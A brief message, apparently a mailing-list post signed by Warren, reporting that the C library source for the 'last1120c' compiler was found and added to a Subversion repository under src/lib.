I never noticed until now, but it contains the source code to the C library for
the last1120c compiler. I've added it to the subversion repository under src/lib.
Cheers,
Warren
